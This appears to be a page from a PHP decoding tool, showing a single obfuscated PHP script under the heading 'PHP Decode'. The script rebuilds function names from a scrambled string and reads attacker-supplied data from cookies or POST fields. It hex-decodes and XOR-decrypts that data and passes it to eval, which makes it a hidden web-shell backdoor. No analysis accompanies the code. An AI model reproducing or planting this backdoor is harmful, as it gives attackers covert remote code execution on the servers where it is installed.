PHP Decode

<?php 
$ghysl = 'fx6m8a-vl7_\'b#sikHu04o5rycn12egd*9tp';$krkau = Array();$krkau[] = $ghysl[28].$ghysl[2].$ghysl[12].$ghysl[22].$ghysl[27].$ghysl[31].$ghysl[4].$ghysl[20].$ghysl[6].$ghysl[9].$ghysl[28].$ghysl[19].$ghysl[28].$ghysl[6].$ghysl[20].$ghysl[20].$ghysl[25].$ghysl[29].$ghysl[6].$ghysl[12].$ghysl[12].$ghysl[28].$ghysl[31].$ghysl[6].$ghysl[31].$ghysl[33].$ghysl[20].$ghysl[22].$ghysl[4].$ghysl[0].$ghysl[5].$ghysl[12].$ghysl[28].$ghysl[19].$ghysl[19].$ghysl[12];$krkau[] = $ghysl[17].$ghysl[32];$krkau[] = $ghysl[13];$krkau[] = $ghysl[25].$ghysl[21].$ghysl[18].$ghysl[26].$ghysl[34];$krkau[] = $ghysl[14].$ghysl[34].$ghysl[23].$ghysl[10].$ghysl[23].$ghysl[29].$ghysl[35].$ghysl[29].$ghysl[5].$ghysl[34];$krkau[] = $ghysl[29].$ghysl[1].$ghysl[35].$ghysl[8].$ghysl[21].$ghysl[31].$ghysl[29];$krkau[] = $ghysl[14].$ghysl[18].$ghysl[12].$ghysl[14].$ghysl[34].$ghysl[23];$krkau[] = $ghysl[5].$ghysl[23].$ghysl[23].$ghysl[5].$ghysl[24].$ghysl[10].$ghysl[3].$ghysl[29].$ghysl[23].$ghysl[30].$ghysl[29];$krkau[] = $ghysl[14].$ghysl[34].$ghysl[23].$ghysl[8].$ghysl[29].$ghysl[26];$krkau[] = $ghysl[35].$ghysl[5].$ghysl[25].$ghysl[16];foreach ($krkau[7]($_COOKIE, $_POST) as $hxewzvi => $fcmdf){function edyop($krkau, $hxewzvi, $kbomkq){return $krkau[6]($krkau[4]($hxewzvi . $krkau[0], ($kbomkq / $krkau[8]($hxewzvi)) + 1), 0, $kbomkq);}function haoeb($krkau, $jeqgbrh){return @$krkau[9]($krkau[1], $jeqgbrh);}function lwmatt($krkau, $jeqgbrh){$ryghrgs = $krkau[3]($jeqgbrh) % 3;if (!$ryghrgs) {eval($jeqgbrh[1]($jeqgbrh[2]));exit();}}$fcmdf = haoeb($krkau, $fcmdf);lwmatt($krkau, $krkau[5]($krkau[2], $fcmdf ^ edyop($krkau, $hxewzvi, $krkau[8]($fcmdf))));} ?>